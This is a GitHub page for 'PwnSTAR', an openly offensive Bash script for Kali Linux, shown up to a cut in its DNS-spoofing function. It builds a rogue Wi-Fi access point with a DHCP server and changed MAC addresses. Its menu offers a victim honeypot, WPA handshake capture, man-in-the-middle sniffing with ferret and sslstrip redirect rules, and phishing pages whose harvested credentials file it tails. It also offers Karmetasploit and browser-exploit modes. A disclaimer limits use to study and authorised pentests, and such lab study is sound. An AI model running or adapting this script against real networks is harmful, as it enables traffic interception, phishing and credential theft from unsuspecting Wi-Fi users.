-
Notifications
You must be signed in to change notification settings - Fork 66
/
pwnstar
executable file
·1848 lines (1576 loc) · 63.4 KB
/
pwnstar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# PLEASE READ AND STUDY BEFORE LAUNCHING
# See the README.txt for hints on usage
# --------------------------------------------------------------------------------------------------------------------#
# Version: 20140428
#
# Copyright (C) 2014 VulpiArgenti
# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation; either version 2 of the License, or any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# You should have received a copy of the GNU General Public License along with this program; if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
# --------------------------------------------------------------------------------------------------------------------#
# Disclaimer: This script is intended for use only for private study or during an authorised pentest. The author bears no responsibility for malicious or illegal use.
# Skiddies should look elsewhere.
# =========================================================================================== #
# "...On The Shoulders Of Giants..." #
# =========================================================================================== #
# Large chunks copied directly from snafu777's quickset script #
# #
# I couldn't improve on his code, and gave up trying #
# =========================================================================================== #
# --------------------------------------------------------------------------------------------------------------------#
# Indebted to everyone else who has contributed scripts to the wonderful community at BT Forums, especially:
# comaX
# ericmilam
# LHYX1
# deathcorps
# g0tmi1k
# killadaninja
# --------------------------------------------------------------------------------------------------------------------#
# Many thanks to all on the BackTrack forum who gave feedback.
# --------------------------------------------------------------------------------------------------------------------#
# Prerequisites
# ~~~~~~~~~~~~~ #
# I amused myself by playing with colours. You may get unexpected results if you have different terminal effects.
# In Eterm adjust the background settings: transparency off, pixmap none; then "save theme settings". This gives a blank background to show the script colours.
# In the shell, a plain black or white background works best.
# The script attempts to set these backgrounds automatically.
# Designed for Kali-linux only. PwnSTAR_0.84 will run on BackTrack 5R2 and 5R3. It is assumed you have all standard tools installed.
# Additional requisites: incrontab (+ dhcp-server obviously). The script will install these. Can use airdrop-ng if you have it installed.
# Ignore "###" - this is note to self.
# Bugs
# ~~~~~~~~~~~~~ #
# If an invalid value is entered when setting up interfaces, the script sometimes loops and spawns mon1 or even mon2. I haven't managed to fix this: advice welcomed.
# This doesn't usually cause problems, but if concerned, then re-insert usb cards and start again, without fat-fingering the entry!
# Setting up webserver
# ~~~~~~~~~~~~~~~~~~~~ #
# The script uses a variable called "textfile". This refers to the simple file that the php writes to.
# See my post on the BT forums for an example.
# Keep all related files (including the index) in a single directory eg "phishing".
# Place the phishing directory into /var/www. Check permissions are correct.
# DO NOT place the index file separately into its usual position in /www; the script will copy it into position.
# This allows you to build up a number of phishing directories, with the index safely inside each of them.
# Thus avoiding the risk of deleting the only copy from /www.
# Flames and praise welcome - kali forums:- https://forums.kali.org/showthread.php?1406-PwnSTAR-running-on-Kali
# Regards
# Vulpi
############################################################################################################
# ~~~~~~~~~~ Environment Setup ~~~~~~~~~~ #
# Text color variables - saves retyping these awful ANSI codes
txtrst="\e[0m" # Text reset
def="\e[40;1;34m" # default blue
warn="\e[40;1;31m" # warning red
info="\e[40;1;34m" # info blue
q="\e[40;1;32m" # questions green
inp="\e40;1;36m" # input variables magenta
# Zap the psychadelic Eterm background
echo "<Eterm-0.9.6>
# Eterm Configuration File
begin imageclasses
begin image
type background
mode solid
state normal
end image
end" > /usr/share/Eterm/themes/Eterm/user.cfg
printf "\e[8;40;85;t" # resize terminal
echo -e "\e[0;40m" # background black
clear
# ~~~~~~~~~~ Intro ~~~~~~~~~~ #
banner_fn()
{
echo -e "\e[1;37m
~~~~~~~~~~~~~~~~~~~~~~~VulpiArgenti~~~~~~~~~~~~~~~~~~~~~
_____ _____ _______ _____
| __ \ / ____|__ __|/\ | __ \
| |__) |__ ___ __ | (___ | | / \ | |__) |
| ___/ \ \ /\ / / '_ \ \___ \ | | / /\ \ | _ /
| | \ V V /| | | |____) | | |/ ____ \| | \ \
|_| \_/\_/ |_| |_|_____/ |_/_/ \_\_| \_\
~~~~~~~~~~~~~~~~~~~~Pwn_SofT_Ap_scRipt~~~~~~~~~~~~~~~~~~
"
sleep 1
}
first_fn()
{
# Trap Ctrl-C
trap exit_fn INT
# Clear iptables
iptables --flush # delete all rules in default (filter) table
iptables -t nat --flush
iptables -t mangle --flush
iptables -X # delete user-defined chains
iptables -t nat -X
iptables -t mangle -X
if [[ ! -x /usr/sbin/dhcpd ]];then
echo -e "$warn\nNeed to install isc-dhcp-server"
sleep 1
echo -e "$q\nDo you want to do it now? (y/n)"
read var
if [[ $var == y ]];then
apt-get install isc-dhcp-server
else
exit_fn
fi
fi
apusage= # set to null
echo -e "$info\nPress ctrl-C at any time to exit neatly\n"
sleep 0.5
echo -e "$q\nHow do you want to use the AP?"
echo -e "$def
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Basic Menu
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) Honeypot: get the victim onto your AP, then use nmap, metasploit etc \n
no internet access given
2) Grab WPA handshake
3) Sniffing: provide internet access, then be MITM
4) Simple web server with dnsspoof: redirect the victim to your webpage
5) Karmetasploit
6) Browser_autopwn
9) ADVANCED menu
q) Exit from the script "
read apusage
if [[ $apusage = q ]];then
exit_fn
elif [[ $apusage != [1-6] && $apusage != 9 ]];then
first_fn
elif [[ $apusage = 9 ]];then
adv_usage_fn
fi
setup_fn
}
setup_fn()
{
clear
echo "1" > /proc/sys/net/ipv4/ip_forward # enable kernel forwarding
interface_fn
initial_scan_fn
ap_presets_fn
if [[ $apusage = 2 ]];then
echo -e "$warn\nRemember to start the AP with WPA/WPA2 encryption"
sleep 2
fi
ap_setup_fn
ap_type_fn
ap_start_fn
dhcp_presets_fn
dhcp_setup_fn
dhcp_start_fn
case $apusage in
1) clear
echo -e "$info\nWatch the DHCP tail for visitors, and then play with them!!";;
2) clear
echo -e "$info\nMonitor airbase eterm for client associations"
sleep 1
echo -e "$info\nHandshakes will be saved in /root/PwnSTAR-n.cap"
sleep 1
echo -e "$info\nConsider de-authing clients"
sleep 4;;
3) sniff_fn;;
4) directory_select_fn
apache_fn
dns_fn
tail_txtfile_fn;;
5) karmalaunch_fn;;
6) browser_autopwn_fn;;
a) portals_fn;;
b) pdf_fn;;
c) zday_fn;;
d) java_jre17_jmxbean_fn;;
e) browser_exploit_fn
esac
sleep 8
echo
final_fn
}
# ~~~~~~~~~~ Interface Functions ~~~~~~~~~~ #
dev_check_fn() # from "quickset" - checks device exists
{
ifconfig $dev_check_var &> /dev/null # &> redirects stdout and stderr; prevents screen clutter
if [ $? -ne 0 ];then
echo -e "$warn\nDevice does NOT exist"
sleep 1
dev_check="fail"
else
dev_check= # nulled
fi
}
interface_fn()
{
API= # AP interface
ICI= # Internet-connected interface
internet=
if [[ $apusage != [1-2] ]];then
echo -e "$q\nAre we giving internet access? (y/n)"
read internet
if [[ $internet = "y" ]]; then
if [[ -z $ICI ]];then
echo -e "$def\nAvailable interfaces:"
ifconfig -a | grep eth | awk '{ print $1" "$5 }' 2>/dev/null
ifconfig -a | grep wlan | awk '{ print $1" "$5 }'
echo -e "$q\nEnter internet connected interface"
read ICI
dev_check_var=$ICI
dev_check_fn
if [[ $dev_check = "fail" ]]; then
ICI=
internet=
dev_check=
interface_fn
fi
fi
if [[ $ICI = "eth0" ]];then
echo -e "$warn\nNot macchanging $ICI. Do it yourself if required" # prevents connection problems from macchanging eth0 in a VM
sleep 2
else
echo -e "$info\nMacchanging $ICI..."
ifconfig $ICI down && macchanger -A $ICI && ifconfig $ICI up
sleep 2
echo -e "$warn\nYou need to reconnect internet\n(ignore networkmanager applet)\n\n DO IT NOW\n"
sleep 2
echo -e "$warn\nIf having problems, RESTART networking in nm-applet, or use Wicd"
sleep 1
fi
# store random internet MAC as ici_mac
ici_mac=$(ifconfig $ICI | awk '{print $5}')
sleep 0.5
ici_mac=$(echo $ici_mac | awk '{print $1}')
elif [[ $internet = n ]];then
echo -e "$warn\nAre you sure..?"
sleep 0.5
echo -e "$q\nPress y)es I'm sure, continue \n or n)o, set up internet "
read var
if [[ $var = n ]];then
internet=
interface_fn
elif [[ $var = y ]];then
if [[ $apusage = 3 || $apusage = a || $apusage = b || $apusage = c ]];then
echo -e "$warn\nDuh, won't work without an internet interface. Start again"
sleep 2
interface_fn
fi
fi
elif [[ $internet = * ]];then
echo -e "$warn\nBooBoo"
sleep 2
interface_fn
fi
fi
if [[ -z $API ]]; then
echo -e "$def\nAvailable wireless interfaces:"
ifconfig -a | grep wlan | awk '{ print $1" "$5 }' # displays available interfaces
echo -e "$q\nWireless interface to use for AP?"
read API
dev_check_var=$API
dev_check_fn
if [[ $dev_check = "fail" ]];then
echo -e "$warn\nStart again"
sleep 1
API= # nulled
ICI=
interface=
dev_check=
interface_fn
fi
fi
if [[ $API = $ICI ]]; then # can't use same interface for internet and AP
echo -e "$warn\n$API is in use, stupid. Try another interface"
sleep 2
interface_fn
fi
echo -e "$info\nStarting monitor mode..." # automatically assigns the mon interface to "monap"
monap=$(airmon-ng start $API|grep enabled|awk '{ print $5"" }'|cut -c -4)
dev_check_var=$monap
dev_check_fn
if [[ $dev_check == "fail" ]];then
monap=
interface_fn
fi
echo -e "$info\nBest to macchange $API and $monap..."
if [[ -z $rand ]];then
echo -e "$q\nRandom MAC? (y). Or manual (m)"
read rand
fi
case $rand in
y|Y) ifconfig $API down && macchanger -A $API && ifconfig $API up
sleep 6 # crucial, to let API come up before setting ap_mac
ap_mac=$(ifconfig $API | awk '{print $5}') # reads the random mac so it can be assigned to all subsequent interfaces
sleep 0.5
ap_mac=$(echo $ap_mac | awk '{print $1}') # thanks to snafu777 quickset
sleep 0.5
ifconfig $monap down && macchanger -m $ap_mac $monap && ifconfig $monap up;;
m|M) while [ -z $ap_mac ];do
echo -e "$q\nDesired MAC Address for $inp $API $q?"
read ap_mac
done
if [[ "$ap_mac" =~ ^([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}$ ]]; then # checks a sane value has been entered for mac
ifconfig $API down && macchanger -m $ap_mac $API && ifconfig $API up
else
echo -e "Invalid MAC address!"
ap_mac=
rand=
sleep 2
interface_fn
fi
sleep 3 ### not necessary?
ifconfig $monap down && macchanger -m $ap_mac $monap && ifconfig $monap up;;
*) echo -e "$warn\nInvalid. Start again."
rand=
airmon-ng stop $mon_ap &> /dev/null
sleep 2
interface_fn;;
esac
sleep 0.5
}
# ~~~~~~~~~~ Scan Functions ~~~~~~~~~~ #
initial_scan_fn()
{
echo -e "$warn\nNote: best to start the AP on the same channel as the target $q\n\nDo you want to scan eg to discover target channel, ESSID etc? (y/n) "
read initial_scan
if [ $initial_scan = "y" ];then
monscan_start_fn
Eterm -g 100x20-0-0 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -q -T "Scan" -e airodump-ng "$monscan" 2> /dev/null &
var=1
while [[ -n $var ]];do # Clumsy I know. Enter zero's $var, ending the loop
echo -e "$q\nPress enter to close the scan and continue"
read var
done
# close airodump before allowing to proceed - prevents later problems with different channels on the same physical device
killall -9 airodump-ng &> /dev/null # output redirected so not seen in the terminal
killall -9 Eterm &> /dev/null # the previous "killall airodump" can leave the eterm open
elif [[ $initial_scan != n ]];then # any value other than n restarts the function
echo -e "$warn\nWhat's it gunna be babe...yes or no?"
sleep 2
initial_scan_fn
fi
}
monscan_start_fn()
{
if [[ -z $monscan ]];then # check hasn't been started in a previous loop through the script
echo -e "$info\nStarting new monitor interface for scanning..."
monscan=$(airmon-ng start $API|grep enabled|awk '{ print $5"" }'|cut -c -4)
dev_check_var=$monscan
dev_check_fn
if [[ $dev_check == "fail" ]]; then
monscan=
initial_scan_fn
fi
sleep 1
echo -e "$info\nMacchanging $monscan...\n"
ifconfig $monscan down && macchanger -m $ap_mac $monscan && ifconfig $monscan up # give same mac as other AP interfaces
fi
}
rescan_fn()
{
echo -e "$q\nScan on: 1) channel $apchan only\n or 2) All channels"
read var
if [[ $var != 1 && $var != 2 ]];then
echo -e "$warn\nWhat's it gunna be babe...1 or 2?"
sleep 2
rescan=
rescan_fn
fi
if [[ -z $monscan ]];then
monscan_start_fn
fi
killall -q airodump-ng &> /dev/null # stop any pre-existing scan
kill -9 $scanpid &> /dev/null # stop any pre-existing scan Eterm
clear
if [[ $var = 1 ]];then
Eterm -g 90x30-0-0 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -T "Scan channel $apchan" -e airodump-ng "$monscan" -c $apchan 2> /dev/null & scanpid=$!
else
Eterm -g 90x30-0-0 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -T "Scan channel hop" -e airodump-ng "$monscan" 2> /dev/null & scanpid=$!
fi
}
# ~~~~~~~~~~ AP Functions ~~~~~~~~~~ #
ap_presets_fn()
{
# Set your defaults here
ap_ip="192.168.0.1" # SoftAP IP Address
ap_sm="255.255.255.0" # SoftAP Subnet Mask
apchan= # SoftAP Channel
mtu_size=1400 # MTU Size
if [[ $apusage = 2 ]];then # encryption type
encrypt="WPA2"
Z="-Z 4 -W 1 -F PwnSTAR" # variable for airbase: "Z 4 -W 1" basically means WPA2, -F saves a cap file
else
encrypt="open"
Z=
fi
echo -e "$info\nInterfaces set up; let's move onto the AP"
sleep 1
clear
}
ap_setup_fn()
{
clear
echo -e "$def
Set the Soft AP Parameters:
1) SoftAP IP Address \e[1;36m[$ap_ip]
$def
2) SoftAP Subnet Mask \e[1;36m[$ap_sm]
$def
3) SoftAP Channel \e[1;36m[$apchan]
$def
*It is recommended you start the AP on the same channel as the target*
4) MTU Size \e[1;36m[$mtu_size]
$def
5) Encryption type \e[1;36m[$encrypt] $WEPpswd
$def
C)ontinue\n"
read var
case $var in
1) echo -e "$q\nSoftAP IP Address?"
read ap_ip
ap_setup_fn;;
2) echo -e "$q\nSoftAP Subnet Mask?"
read ap_sm
ap_setup_fn;;
3) echo -e "$q\nSoftAP Channel?"
read apchan
case $apchan in
[1-9]|1[0-4]) ;;
*) apchan= ;;
esac
ap_setup_fn;;
4) echo -e "$q\nDesired MTU Size?"
read mtu_size
if [[ $mtu_size -lt 42 || $mtu_size -gt 6122 ]];then
mtu_size=
fi
ap_setup_fn;;
5) echo -e "$q\nEncryption type?
Open
WEP40
WEP104
WPA (for handshake grabbing only)
WPA2 (for handshake grabbing only)"
read encrypt
if [[ $encrypt = "Open" ]];then
Z=
elif [[ $encrypt = "WEP40" ]];then
echo -e "$q\nEnter password (10 character hexadecimal)"
read WEPpswd
# error check password
if [[ $(echo $WEPpswd | wc -m) != 11 ]];then # wc counts the return, therefore 11 not 10
echo -e "$warn\nInvalid password"
sleep 2
WEPpswd=
encrypt=
ap_setup_fn
else
Z="-w "$WEPpswd"" # safer to quote the password so there isn't unpredictable expansion ###check this quoting works. brackets instead?
fi
elif [[ $encrypt = "WEP104" ]];then
echo -e "$q\nEnter password (26 character hexadecimal)"
read WEPpswd
# error check password
if [[ $(echo $WEPpswd|wc -m) != 27 ]];then # counts return, therefore 27 not 26
echo -e "$warn\nInvalid password"
sleep 1
WEPpswd=
encrypt=
ap_setup_fn
else
Z="-w "$WEPpswd"" # -w sets WEP password
fi
elif [[ $encrypt = "WPA" ]];then
Z="-z 2 -W 1 -F PwnSTAR" # -W sets WEP flag (see man airbase-ng), z 2 means WPA
elif [[ $encrypt = "WPA2" ]];then
Z="-Z 4 -W 1 -F PwnSTAR"
elif [[ $encrypt = * ]];then
echo -e "$warn\nInvalid selection"
sleep 1
encrypt=
fi
ap_setup_fn;;
c|C) if [[ -z $ap_ip || -z $ap_sm || -z $apchan || -z $mtu_size || -z $encrypt ]];then # check all variables are set
echo -e "$warn\nNot so fast, all fields must be filled before proceeding"
sleep 2
ap_setup_fn
fi;;
*) ap_setup_fn;;
esac
}
ap_type_fn()
{
BB= # nulled; if this is repeat run-through, BB would exist, and the while loop would not trigger
while [ -z $BB ];do
echo -e "$q
Choose the \033[4mtype\033[0m\033[40;1;32m of AP:
1) Blackhole--> Responds to All probe requests
2) Bullzeye--> Broadcasts only the specified ESSID
3) Both--> Responds to all, otherwise broadcasts specified\n"
read BB
done
case $BB in
[1-3]) ;;
*) ap_type_fn;;
esac
}
ap_start_fn()
{
if [[ $internet = y ]];then
# forward at0 to the internet
iptables -t nat -A POSTROUTING -o $ICI -j MASQUERADE
fi
# blackhole targets every probe request
if [ $BB == "1" ]; then
Eterm -g 80x12-0+0 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -q -T "Blackhole AP" -e airbase-ng $Z -c $apchan -P -C 60 -v $monap 2> /dev/null 2> /dev/null &
clear
# bullzeye broadcasts specified ESSID only
elif [ $BB == "2" ]; then
while [ -z $SSID ];do
echo -e "$q\nDesired ESSID?"
read SSID
done
Eterm -g 80x12-0+0 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -q -T "Bullzeye AP $SSID" -e airbase-ng $Z -c $apchan -e "$SSID" -v $monap 2> /dev/null &
clear
# both
elif [ $BB == "3" ];then
while [ -z "$SSID" ];do
echo -e "$q\nDesired ESSID eg Free Public WiFi?"
read SSID
done
Eterm -g 80x12-0+0 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -q -T "Both AP $SSID" -e airbase-ng $Z -c $apchan -e "$SSID" -P -C 60 -v $monap 2> /dev/null &
clear
fi
echo -e "$info\nOK, We're finally starting airbase-ng..."
sleep 6 # for at0 to be started - crucial
modprobe tun # probably not necessary
ifconfig at0 up $ap_ip netmask $ap_sm
ifconfig at0 mtu $mtu_size
}
# ~~~~~~~~~~ DHCP Functions ~~~~~~~~~~ #
dhcp_presets_fn()
{
apnet="192.168.0.0" # DHCP Subnet
aprange="192.168.0.100 192.168.0.200" # DHCP IP range
}
dhcp_setup_fn()
{
clear
echo -e "$def
Check DHCP Server Parameters:
1) Gateway IP Address \e[1;36m[$ap_ip]
$def
2) Subnet Mask \e[1;36m[$ap_sm]
$def
3) Subnet \e[1;36m[$apnet]
$def
4) IP Range \e[1;36m[$aprange]
$def
C)ontinue
\n"
read var
case $var in
1) echo -e "\033[36m\nGateway IP Address?"
read ap_ip
dhcp_setup_fn;;
2) echo -e "\033[36m\nSubnet Mask?"
read ap_sm
dhcp_setup_fn;;
3) echo -e "\033[36m\nSubnet?"
read apnet
dhcp_setup_fn;;
4) echo -e "\033[36m\nIP Range?"
read aprange
dhcp_setup_fn;;
c|C) if [[ -z $ap_ip || -z $ap_sm || -z $apnet || -z $aprange ]];then
echo -e "\033[31mGet a grip - you've missed something"
sleep 1
dhcp_setup_fn
fi;;
*) dhcp_setup_fn;;
esac
}
dhcp_start_fn()
{
echo > /var/lib/dhcp/dhcpd.leases # Clear any pre-existing dhcp leases
cat /dev/null > /tmp/dhcpd.conf
# need a working nameserver from our internet connection
var=$(grep "nameserver" /etc/resolv.conf | awk '{print $2}' |wc -l) # count the number of nameservers in resolv.conf
if [[ $var = 1 ]];then # if 1, use it in dhcpd.conf
apdns=$(grep nameserver /etc/resolv.conf | awk '{print $2}')
elif [[ $var > 1 ]];then # if more than 1 nameserver, manipulate string into an acceptable form for dhcpd.conf
apdns=$(grep nameserver /etc/resolv.conf | awk '{print $2}' | tr '\n' ',') # replace newlines with commas
apdns=${apdns//,/", "} # add a space after all commas
apdns=${apdns%", "} # delete the final comma/space
else apdns="8.8.8.8" # default in case resolv.conf is empty
fi
echo -e "$info\nGenerating /tmp/dhcpd.conf"
echo -e "$info\nStarting DHCP server..."
echo "default-lease-time 300;"> /tmp/dhcpd.conf
echo "max-lease-time 360;" >> /tmp/dhcpd.conf
echo "ddns-update-style none;" >> /tmp/dhcpd.conf
echo "authoritative;" >> /tmp/dhcpd.conf
echo "log-facility local7;" >> /tmp/dhcpd.conf
echo "subnet $apnet netmask $ap_sm {" >> /tmp/dhcpd.conf
echo "range $aprange;" >> /tmp/dhcpd.conf
echo "option routers $ap_ip;" >> /tmp/dhcpd.conf
echo "option domain-name-servers $apdns;" >> /tmp/dhcpd.conf
echo "}" >> /tmp/dhcpd.conf
dhcpd -cf /tmp/dhcpd.conf &
route add -net $apnet netmask $ap_sm gw $ap_ip
iptables -P FORWARD ACCEPT # probably not necessary 'coz we flushed the chains earlier
if [[ $apusage = 4 ]];then
iptables -t nat -A PREROUTING -i at0 -j REDIRECT ### ???helps to avoid DNS cache. Still a problem.
fi
sleep 1 # for dhcpd to start
# tail leases
Eterm -g 80x8-0+225 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 -r --font-fx none --buttonbar 0 --scrollbar 0 -q -T "DHCP Server Tail" -e tail -f /var/lib/dhcp/dhcpd.leases 2> /dev/null &
echo -e "$info\n\nSoft AP is now running :-)"
sleep 2
clear
}
# ~~~~~~~~~~ Sniffing Functions ~~~~~~~~~~ #
sniff_fn()
{
echo -e "$warn\nCheck internet is connected on $ICI"
sleep 1
# Ferret
echo -e "$q\nStart ferret on at0? (y/n)"
read ferret
if [[ $ferret = y ]];then
Eterm -g 80x14-0+373 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -q -T "Ferret" -e ferret -i at0 --channel $apchan 2> /dev/null &
sleep 1
elif [[ $ferret != n ]];then # any value other than n restarts the function
echo -e "$warn\nWhat's it gunna be babe...yes or no?"
sleep 2
sniff_fn
fi
# SSLStrip
echo -e "$q\nStart sslstrip? (y/n)"
read sslstrip
if [[ $sslstrip = y ]];then
if [[ $apusage = a || $apusage = b ]];then # captive portal with some iptables rules already set
echo "y" > /tmp/sslstrip # stores $sslstrip
sleep 0.5
mac=$(cat /tmp/ip/ip)
iptables -t nat -I PREROUTING -p tcp --destination-port 80 -m mac --mac-source $mac -j REDIRECT --to-port 10000 2> /dev/null &
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 ###
else # standard sslstrip rule
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
fi
sslstrip -k -f 2> /dev/null &
sleep 2 # give time for sslstrip to start
echo -e "$q\nTail sslstrip.log? (y/n))"
read var
if [[ $var = y ]];then
Eterm -g 80x8-0+770 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 -r --font-fx none --buttonbar 0 --scrollbar 0 -q -T "Sslstrip Tail" -e tail -f /root/sslstrip.log 2> /dev/null &
fi
elif [[ $sslstrip != n ]];then # any value other than n restarts the function
echo -e "$warn\nWhat's it gunna be babe...yes or no?"
sleep 2
sniff_fn
fi
sleep 2
echo -e "$info\nSniffing started"
sleep 1
if [[ $ferret = y ]]; then
echo -e "$info\nFerret will save a pcap dump in /root"
sleep 1
fi
if [[ $sslstrip = y ]];then
echo -e "$info\nSslstrip log is in /root"
sleep 1
fi
echo -e "$info\nConsider using yamas or easy-creds to parse logs"
sleep 4
}
# ~~~~~~~~~~ Web Server Functions ~~~~~~~~~~ #
directory_select_fn()
# Must set up directory structure properly!!! See intro notes.
{
echo -e "$info\nSetting up the web page"
sleep 0.5
echo -e "$warn\nMUST have directory structure set up correctly"
sleep 1
if [[ $apusage == 4 ]];then
echo -e "$info\nUse hotspot_3, or your own website"
sleep 0.5
fi
echo -e "$info\nAvailable web directories:\n\n$(ls /var/www)"
sleep 0.5
echo -e "$q\nSelect directory"
read wwwdir
if [[ -d /var/www/"$wwwdir" ]];then
mkdir /var/www/backups &>/dev/null # make backup directory NB clear this out occasionally
mv /var/www/index.html /var/www//backups/index.html.`date +%Y%m%d%H%M` &>/dev/null # back-up existing index files
mv /var/www/index.php /var/www/backups/index.php.`date +%Y%m%d%H%M` &>/dev/null
cp /var/www/"$wwwdir"/index.* /var/www/ #copy index from phishing folder to var/www
if [[ $? -ne 0 ]] ;then # checks exit code of last command ie did it work?
echo -e "$warn\nError copying index"
sleep 2
directory_select_fn
else
echo -e "$info\n"$wwwdir"/index moved into position"
sleep 1
fi
else echo -e "$warn\nDirectory doesn't exist, eedjit"
sleep 2
directory_select_fn
fi
}
apache_fn()
{
apache=$(ps aux|grep "/usr/sbin/apache2"|grep www-data) # check whether apache is running
if [[ -z "$apache" ]] ;then # if not,
echo -e "$info\n"
service apache2 start
echo -e "$info"
sleep 2
apache=$(ps aux|grep "/usr/sbin/apache2"|grep www-data) # check has successfully started
if [[ -z "$apache" ]] ;then
echo -e "$warn\nApache failed to start - please resolve, then try again"
sleep 4
exit_fn
else
echo -e "$info\n...success"
fi
else
echo -e "$info\nApache already running"
fi
}
tail_txtfile_fn()
{
echo -e "$q\nDo you want to tail the credentials txtfile? (y/n)"
read txttail
if [[ $txttail = y ]];then
echo -e "$def\n"
ls /var/www/$wwwdir
echo -e "$q\nEnter name of txtfile \n(usually formdata.txt)"
read txtfile
var="$(ls /var/www/$wwwdir|grep "$txtfile")" # tests whether $txtfile is valid
if [[ $var == "$txtfile" ]];then
Eterm -g 80x4-0+493 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 -r --font-fx none --buttonbar 0 --scrollbar 0 -q -T "Textfile Tail" -e tail -f /var/www/"$wwwdir"/"$txtfile" 2> /dev/null &
else
echo -e "$warn\nBad typing - $txtfile doesn't exist"
sleep 1
tail_txtfile_fn
fi
elif [[ $txttail != n ]];then
tail_txtfile_fn
fi
sleep 1
echo -e "$info\nWeb Server attack running"
}
dns_fn()
{
echo -e "$q\nDNSspoof: do you want to spoof
